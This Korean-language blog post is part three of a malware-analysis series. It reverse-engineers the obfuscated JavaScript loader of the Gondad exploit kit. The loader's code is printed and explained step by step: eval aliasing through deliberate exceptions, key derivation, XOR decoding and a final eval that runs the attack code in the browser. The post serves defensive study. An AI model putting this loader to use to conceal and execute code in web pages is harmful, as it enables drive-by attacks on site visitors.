- Previous : 공다팩(Gondad EK) 분석 #01
- Previous : 공다팩(Gondad EK) 분석 #02
1. Introduction
이번 포스팅부터 공다팩의 난독화 해제 알고리즘을 역공학하려 한다.
2. Reverse Code Engineering
2.1. Execution Unit RCE
우선 공다팩(Gondad EK) 분석 #02 에서 언급한 실행부 부터 시작하면 된다. 아래의 실행부는 소스코드 정렬을 진행한 형태이다.
//{수집부}
faug8="1"; // faug8에 문자 1을 할당
delete faug8; // faug8 변수를 삭제
try{
faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";
// 삭제한 faug8 변수에 문자연산 실행 - 에러 발생
}catch(e){ //에러로 인해 catch 구문 실행
var gOqA0="1"; // gOgA0 변수에 1 할당
dLidfS6 = eval // eval 함수를 dLidfS6으로 치환
}
qQhifJ0=unescape; // unescape 함수를 gQhifJ0으로 치환
//{난독부}
//{해제부}
tfFzFYX7 = dLidfS6(dLidfS6); // eval(eval())을 tfFzFYX7 로 치환
tfFzFYX7(UgoVGYH0); // eval(eval(UgoVGYH0)) 으로 UgoVGYH0은 해제부의 값을 의미
문자를 할당하고 할당 받은 변수를 삭제함으로써 고의적인 exception 을 발생시킨다. exception이 발생해야 eval() 함수를 dLidfS6 로 치환하여 dLidfS6 을 사용할 수 있다. 기본적으로 자바스크립트의 내장함수인 eval() 의 역할은 자바스크립트나 해독 가능한 코드를 해석하고 실행하는 역할을 한다. 즉, dLdfS6 는 해제부를 해석하고 실행하는 역할을 하는 것이다. 소스코드에서 보면 dLidfS6(dLidfS6()) 형태 즉, eval(eval()) 를 사용하여 실행하는 것을 볼 수 있다.
[그림 1] 메모리 상태
수집부와 실행부의 변수들이 메모리에서 변경되는 과정을 표 형태를 빌려 표현해 보았다. Value 값이 오른쪽으로 한 칸씩 이동할 때 마다 연산이 한 번씩 더 수행하여 값이 변경되어 가는 것으로 표현하려 한다. 후에 핵심 알고리즘에서도 이 형태로 메모리에 선언된 변수의 값의 행적을 추적을 표현한다.
2.2. Deobfuscation Unit RCE
공다팩 알고리즘을 분석하기 위해서는 우선 문자열로 저장된 해제부를 도려내어 소스코드 정렬을 한번 수행한다. 그 다음, 메모리에 변수가 선언되고 어떤 값이 할당되는지를 함께 생각하거나 그리면서 풀어나가는 것이 이해하기 가장 좋은 방법이다. 우선 해제부를 소스코드 정렬해 보았다. 해제부를 문자열로 저장되어 있는 변수는 UgoVGYH0 이다.
function Xmstqj3() {
YRPsiYR7 = Math.PI;
iGNrX2 = Math.tan;
skss8 = parseInt;
miIl3 = 'length';
BLKsBW0 = 'test';
hxyB5 = 'replace';
sXdvdnE4 = skss8(~((YRPsiYR7 & YRPsiYR7) | (~YRPsiYR7 & YRPsiYR7) & (YRPsiYR7 & ~YRPsiYR7) | (~YRPsiYR7 & ~YRPsiYR7)));
HgfQOIU6 = skss8(((sXdvdnE4 & sXdvdnE4) | (~sXdvdnE4 & sXdvdnE4) & (sXdvdnE4 & ~sXdvdnE4) | (~sXdvdnE4 & ~sXdvdnE4)) & 1);
/*www.yylis.com*/
JuVsvVJ4 = HgfQOIU6 << HgfQOIU6;
new function () {
NUIRS0 = dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' [hxyB5](/[^v@0el9a]/g, ''));
};
try {
if (!\/^\\d*$\/g[BLKsBW0](VKdaMw0));
}catch(e){
VKdaMw0=sXdvdnE4;
}
otlkVb6='';
TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];
for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-hgfqoiu6)
vkdamw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);
syzMMty7+=HgfQOIU6;
VKdaMw0>>>=0;
for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yphsym7++){
if(mWQywTw0>=(1<<3)){
PuDe7=mWQywTw0%(1<<3);
}else{
PuDe7=mWQywTw0;
}
dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;
if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))
dyLU3%=3;
otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);
}
try{
new function(){
NUIRS0(otlkVb6);
}
}catch(e){
try{
new function(){
FTWphd5=parseInt;
iGNrX2(otlkVb6);
}
}catch(e){
window.location='.';
}
}
}
try{
dLidfS6('Xmstqj3();')
}catch(e){
try{
syzMMty7=sXdvdnE4;
dLidfS6('Xmstqj3();');
}catch(e){
alert('ere');
}
}
Xmstqj3() 함수를 선언하고 이 함수 안에서 난독화를 해제하는 알고리즘이 동작한다. 하지만 함수는 자기자신을 실행할 수가 없기 때문에 함수를 실행하는 부분이 필요하다. 이 부분 또한 eval() 함수를 사용 하고 있는데 eval() 함수를 사용하는 내용은 위 구조를 다음과 같이 좀 더 쉽게 변형하여 한 눈에 이해 할 수 있다. 아래의 내용이 큰 흐름을 볼 수 있도록 변경한 소스코드이다.
function Xmstqj3() {
blahblah~
}
try{
dLidfS6('Xmstqj3();')
}catch(e){
try{
syzMMty7=sXdvdnE4;
dLidfS6('Xmstqj3();');
}catch(e){
alert('ere');
}
}
dLidfS6 은 실행부에서 eval() 함수가 치환된 것으로 Xmstqj3() 함수를 실행하도록 하고 있다.
최초 Xmstqj3() 함수가 실행 후 blahblah~ 코드 안에서 exception이 발생하고, catch 문에 의해 한번 더 Xmstqj3() 함수를 실행하는 구조를 가지고 있다. 이렇게 실행되면 blahblah~ 안의 변수 중에 특정 변수의 값이 추가적으로 연산을 진행해 최종적인 난독화 해제의 중요한 키 값이 된다. 자세한 설명은 blahblah~ 부분을 분석하면서 이해할 수 있다.
이제 blahblah 파트를 리버싱 하려고 한다.
YRPsiYR7 = Math.PI;
iGNrX2 = Math.tan;
skss8 = parseInt;
miIl3 = 'length';
BLKsBW0 = 'test';
hxyB5 = 'replace';
먼저 Math 함수를 보자. Math.PI를 실행하면 파이 값인 3.141592653 값이 YRPsiYR7 이 저장된다. 그 외 iGNrX2 와 skss8 는 각각 Math.tan() 함수와 parsenInt() 함수로 각각 치환된다.
[그림 2] 메모리 상태
sXdvdnE4 = skss8(~((YRPsiYR7 & YRPsiYR7) | (~YRPsiYR7 & YRPsiYR7) & (YRPsiYR7 & ~YRPsiYR7) | (~YRPsiYR7 & ~YRPsiYR7)));
sXdvdnE4 에 저장되는 값을 풀어 보면 다음과 같다.
연산을 하려면 비트 연산(Bitwise Operation)인 틸드(tilde)와 AND, OR 연산에 대해 알아야 하며, 연산자 우선순위에 의해 AND 연산이 OR 연산보다 먼저 실행한다는 것을 알고 있어야 한다. 또한 부동 소수점은 비트 연산에서 사용할 수 없기에 정수 형태로만 연산을 진행하면 된다. 다음 표에서의 표현은 4자리 비트로 표현하였지만, 자바스크립트는 IEE 754 표준을 따라가며, 32 비트 단정도(Single-Precision)에 의해 연산을 진행한다.
sXdvdnE4 = parseInt(~( A | B & C | D ));
[그림 3] 비트연산 표현
최종적으로 parseInt() 함수를 사용하여 정수형태로 변환하여 저장되는데, 모든 연산이 끝나면 sXdvdnE4 에 저장되는 값은 0 이 된다.
HgfQOIU6 = skss8(((sXdvdnE4 & sXdvdnE4) | (~sXdvdnE4 & sXdvdnE4) & (sXdvdnE4 & ~sXdvdnE4) | (~sXdvdnE4 & ~sXdvdnE4)) & 1);
HgfQOIU6 변수에 저장되는 값도 위에서 비트 연산을 한 것과 진행하면 1 이 저장이 된다. 결국 연산과정은 복잡해 보여도 0 과 1 을 표현하기 위한 연산임을 알 수 있다.
/*www.yylis.com*/
주석 부분이다. 의미 없어 보일 수도 있지만, 공다팩에서 주석은 공다팩의 아주 작은 정보를 볼 수 있는 부분이다. 이 공다팩이 최초로 삽입된 웹 사이트 주소를 의미하기도 하며, 과거의 공다팩에서는 난독화 버전을 보여주기도 하였다. 또한 후반부에 볼 수 있지만, 공다팩은 해제부 문자열의 수를 난독화 해제키를 만드는데 사용되는 자원으로 활용하고 있다. 이는 주석뿐만 아니라 띄워쓰기 까지 틀리게 되면 난독화가 해제가 되지 않음을 의미한다.
JuVsvVJ4 = HgfQOIU6 << HgfQOIU6;
JuVsvVJ4 변수에 저장되는 값은 1 << 1 비트 연산을 통해 생성되는 값이 저장된다. 수식으로 표현하면 다음과 같다. (여기서 ^ 는 지수를 의미한다.)
[그림 4] 메모리 상태
new function () {
NUIRS0 = dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' [hxyB5](/[^v@0el9a]/g, ''));
};
NUIRS0 변수는 정규표현식을 사용하여 치환하는 난독화 파트이다. dLidfS6은 실행부에서 eval() 함수가 치환된 것이며, hxyB5는 해제부에서 replace 문자열을 가지고 있는 변수명 이다. 치환되어 사용되는 값들을 다시 표현하면 다음과 같다.
NUIRS0 = eval('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt=' ['replace'](/[^v@0el9a]/g, ''));
자바스크립트에서는 함수를 사용하는 방법이 두 가지 있는데, 하나는 대표적으로 알려져있는 replace() 와 같은 형태이며, 다른 하나는 ['replace']() 와 같은 형태이다. 이렇게 사용할 수 있는 이유는 다음과 같다.
window.document.write(value)
...
즉, 자바스크립트 객체의 계층 구조에서 최상위에 존재하는 window 객체를 사용하는 것이 정확한 형태이지만, 모든 구문을 사용하는데 매번 window 객체를 붙여 사용하기에는 불편하기 때문에 window는 생략해서 사용할 수 있게 된다. 그래서 자바스크립트 내장 함수라 불리기도 하지만 메소드라고 불리기도 하고 속성(Property) 라고 불리기도 한다. 자바스크립트에서 다음과 같이 표현해도 동일한 동작을 하게 된다.
window['document']['write'](value)
...
결국은 replace() 함수에 의해 변형되는 되는 것은 정규표현식에 의거하여 v, @, 0, e, l, 9, a 가 아닌 모든 문자는 삭제('') 하는 형태를 가지고 있다. 다시 표현해보면 다음과 같다.
즉, NUIRS0 에 저장되는 것은 eval() 함수가 되는 것이고 이는 NUIRS0을 사용하면 eval() 함수를 사용할 수 있다는 것이다. 끝까지 분석을 진행해 보면 NUIRS0 변수는 최종적으로 난독화가 해제된 코드를 브라우저가 실행하도록 하여 공격하는데 사용되는 eval() 함수가 된다.
otlkVb6='';
TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];
otlkVb6 변수는 초기화를 한다. otlkVb6 변수는 난독화가 해제된 코드를 할당받는 역할을 한다.
TbXQyj0 은 실행부에서 unescape() 함수가 치환된 qQhifJ0 를 사용하여 16진수 형태의 난독화를 해제하는데 사용한다. unescape() 함수는 문자열을 그대로 반환하거나, 16진수로 표현(%, \x)된 값을 아스키 문자로 반환해 준다. 다시 정리해보면 다음과 같다.
TbXqyj0=String[unescape('%66%72%6F%6D%43%68%61%72%43%6F%64%65')];
TbXqyj0=String['fromCharCode'];
이 부분은 try-catch 구문을 이용하여 exception 을 발생시킨 후 VKdaMw0 변수에 0 값을 할당하는 역할을 한다.
try {
if (!\/^\\d*$\/g[BLKsBW0](VKdaMw0));
}catch(e){
VKdaMw0=sXdvdnE4;
}
exception 을 발생시키는 원인을 분석하기 위해 다음과 같이 치환을 했다.
!\/^\\d*$\/g[BLKsBW0](VKdaMw0)
!/^\d*$/g['test'](VKdaMw0)
VKdaMw0 변수를 정규표현식의 식으로 테스트를 하기 위해 실행하지만, VKdaMw0 변수가 선언되어 있지 않기 때문에 발생하는 exception 이다. 후에 고의적인 exception 발생으로 처음부터 다시 실행되는데, 다시 실행될 때는 VKdaMw0 이 값을 가지고 있어 이 과정을 진행하지 않게 된다.
정규표현식의 의미를 해석하면 \d(0~9 까지 숫자)가 0회 이상(*) 나타나는 것을 의미한다. ^ 와 $ 는 각 문자열이나 행의 처음과 끝을 나타내는 역할을 한다. 마지막으로 앞에 붙은 ! 로 인해 출력되는 결과가 true 면 false 이고, false 이면 최종값은 true 가 된다. test() 함수의 기능은 정규표현식에 부합되는지 확인하여 불린(Boolean) 형태로 반환하는 역할을 한다.
읽기 쉽게 변형화는 과정에서 \ 를 빼준 이유는 중괄호 안에서 \ 뒤에 있는 문자를 인식을 위해 사용하는 탈출(Escape) 문자이기 때문이다. 탈출 문자를 사용한 이유는 분석 중인 소스코드가 공다팩에서는 변수에 저장된 문자열이기 때문이다.
for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-hgfqoiu6)
vkdamw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);
for 구문에 의해 반복되는 구문으로 변형하지 않고 보면 이해하기 힘들다. 그래서 다시 변형시켜 보면 다음과 같다.
for(mWQywTw0=0;mWQywTw0<UgoVGYH0['length'];mWQywTw0-=-1)
VKdaMw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);
최대한 치환을 해봐도 이해하기 어려워 보인다. 이 부분은 첫 번째 난독화 해제하는 연산으로 mWQywTw0 이 0 부터 시작해서 해제부 문자열의 길이만큼 반복을 한다. UgoVGYH0 는 난독부가 문자열 형태로 저장되어 있는 변수이다. mWQywTw0-=-1 은 mWQywTw0+=1 과 같은 동작을 한다.
for 구문에서 연산하는 부분이 중요한 부분인데, >>> 시프트 연산은 부호없는 오른쪽 시프트 연산으로 불리며, 양수와 음수를 구분하는 최상위 비트(MSB, Most Significant Bit)를 포함하여 시프트 연산을 한다. 우선 ((0&127)<<25)|((0&4294967168)>>>7) 비트 연산을 그림으로 표현하면 다음과 같다.
[그림 5] 비트 연산
어려워 보일 수 있으나, 조금 추상적으로 표현하면 다음과 같다.
[그림 6] 비트연산 단순화
뒤의 7 비트인 A와 앞의 25 비트인 B와 자리를 변경하는 기능을 한다. 비트연산을 수식으로 표현하면 다음과 같다. (여기서 ^는 xor 연산이 아닌 지수를 의미한다.)
해제부인 UgoVGYH0 변수의 시작 문자는 "function……" 이니 연산을 해보자. f 는 0x66 이나 charCodeAt 함수에 의해 10진수인 102 로 연산이 이루어 진다.
다시 u 의 10진수 값인 117로 연산을 하면 다음과 같다.
(102 × 2^25) | ((0 ÷ 2^7) + 117 =
-872415232 + 117 = -872415115
UgoVGYH0 의 문자열 길이는 1455 이다. 즉 for 구문에 의해 0 에서 1454 까지 돌아가며, for 구문이 실행 완료가 되면 VKdaMw0 에는 다음과 같은 값이 저장된다.
[그림7] 메모리 상태
syzMMty7+=HgfQOIU6;
VKdaMw0>>>=0;
syzMMty7 변수에 2를 더하여 저장하는데, 문제는 syzMMty7 변수가 선언되어 있지 않아 exception 이 발생한다. 이 exception 으로 인해 Xmstqj3() 함수에서 빠져나오게 되고, Xmstqj3() 함수를 실행하는 부분의 catch 문으로 들어가게 된다. 해당 catch 문에는 syzMMty7 에 0 값을 가진 HgfQOIU6 으로 변수를 선언하게 되고, 다시 Xmstqj3() 함수를 실행하여 앞에서 진행한 과정을 다시 반복하게 된다.
재미있는 부분으로는 함수에서 exception 이 발생하여 실행 중에 빠져나오게 되지만, 메모리에 쓰여진 변수들은 초기화 되지 않고 유지되는 점이다. 이러한 이유로 인해 VKdaMw0 의 시작 값은 -1243569961 부터 시작되기 때문에, 값은 바뀌게 되고 최종적으로 난독화 해제에 사용되는 키 값이 생성된다.
[그림 8] 메모리 상태
다시 돌아와서 VKdaMw0 을 부호없는 오른쪽 시프트 연산 값을 0 을 사용하여 unsigned 형태로 만들어 저장한다. 565940520 는 이미 양수이기 때문에 값은 변경되지는 않는다.
for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yPHSYM7++){
if(mWQywTw0>=(1<<3)){
PuDe7=mWQywTw0%(1<<3);
}else{
PuDe7=mWQywTw0;
}
dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;
if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))
dyLU3%=3;
otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);
}
역시 변수나 함수들이 보기 불편하게 사용되고 있기에 가독성을 높여보았다.
for(mWQywTw0=0,yPHSYM7=1;mWQywTw0<GndC0['length'];mWQywTw0+=2,yPHSYM7++){
if(mWQywTw0>=8){
PuDe7=mWQywTw0%8;
}else{
PuDe7=mWQywTw0;
}
dyLU3=parseInt('0x'+VKdaMw0.toString(16).substr(PuDe7,2))+yPHSYM7;
if(\/^(\\d{4})\/g['test'](dyLU3+744))
dyLU3%=3;
otlkVb6+=string.fromCharCode(parseInt(0+unescape('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+parseInt(1)))^dyLU3);
}
mWQywTw0 은 1454 값에서 2 로 변경되고, yPHSYM7 변수는 새로 선언되어 1 의 값을 할당 받는다. GndC0 은 난독화가 되어 있는 난독부를 의미한다. GndC0 의 문자열 길이는 11584 이고, 5792 번 실행된다. for 구문이 4 번 실행되는 것을 한 싸이클로 표현한다면, PuDe7 에는 2, 4, 6, 0 의 값이 반복된다. [잘못된 분석으로 삭제]
mWQywTw0 는 1454 값에서 0으로 변경되고, yPHSYM7 변수는 새로 선언되어 1 의 값을 할당 받는다. GndC0 은 난독화가 되어 있는 난독부를 의미한다. GndC0 의 문자열 길이는 11584 이고, 5792 번 실행된다. for 구문이 4번 실해오디는 것을 한 사이클로 표현한다면, PuDe7 에는 0, 2, 4, 6, 0 ... 순서대로 반복된다.
VKdaMw0 은 565940520 값을 가지는데, toString(1<<4)에 의해 16진수 형태로 변환되어 21BB9128 이 된다. 다시 이 값에 substr() 함수를 사용하여 21, BB, 91, 28 로 잘라져서 각각 앞에 0x가 붙어 16진수 형태를 가지며, 다시 parseInt() 함수에 의해 10진수로 변환된다. 10진수로 변환된 값은 순서대로 33, 187, 145, 40 이 된다. 그 다음 for 구문이 실행될 때 마다 1 부터 1 씩 증가하는 값이 더해지는 연산이 일어난다.
[그림 9] 메모리 상태
조건문에서 정규표현식을 사용하여 검증을 하는데, dyLU3 에 744 를 더하여 숫자 1000 을 넘는지 확인한다. dyLU3이 FF 라면 10진수로 255 가 되기 때문에 744 를 더하면 999 가 된다. 만약 1000 이상의 값을 가지게 되면 아스키 문자의 값을 가질 수 없기 때문에 사용하는 부분이다. for 구문에 의해 dyLU3 는 계속 증가하기에 FF를 넘어간다면, 3 으로 나눈 나머지를 저장하는 형태를 가진다.
otlkVb6 의 연산은 최종적으로 난독부가 해제되는 과정을 담고 있다. for 구문에 의해 연산되는 과정은 다음과 같다. (^ 연산은 xor 연산이다.)
한번 연산된 후 값은 fromCharCode() 함수에 의해 아스키 문자로 바뀌어 otlkVb6 에 차곡차곡 저장되어 완성된 공격코드를 볼 수 있게 된다.
try{
new function(){
NUIRS0(otlkVb6);
}
}catch(e){
try{
new function(){
FTWphd5=parseInt;
iGNrX2(otlkVb6);
}
}catch(e){
window.location='.';
}
}
이제 차곡차곡 저장된 otlkVb6 를 eval() 함수가 치환된 NUIRS0 이 실행하여 최종적으로 난독화가 풀린 코드를 브라우저가 인식하고 실행하게 되어 공격 코드가 실행되게 된다. 만약 실행하는 과정에서 문제가 발생한다면 의미없는 동작인 FTWphd5 를 parseInt() 함수로 치환하고 Math.tan(otlkVb6) 가 실행되어 강제로 exception 이 발생하게 된다. 발생한 exception에 의해 window.location 의 실행에 의해 공격 페이지(ex. gondad.html)의 디렉터리를 브라우저 화면에 출력하게 된다. 대부분 window.location 이 실행이 되는 것은 분석가가 난독화를 해제하는 과정에서 많이 빠지게 된다.
3. Reference
- Next : 공다팩(Gondad EK) 분석 #04
'Information Security > Malware' 카테고리의 다른 글
Sweet Orange exploit kit (0) | 2014.09.02 |
---|---|
공다팩(Gondad EK) 분석 #04 (2) | 2014.08.14 |
공다팩(Gondad EK) 분석 #02 (0) | 2014.07.04 |
공다팩(Gondad EK) 분석 #01 (0) | 2014.06.27 |
jjencode 분석 (10) | 2014.03.14 |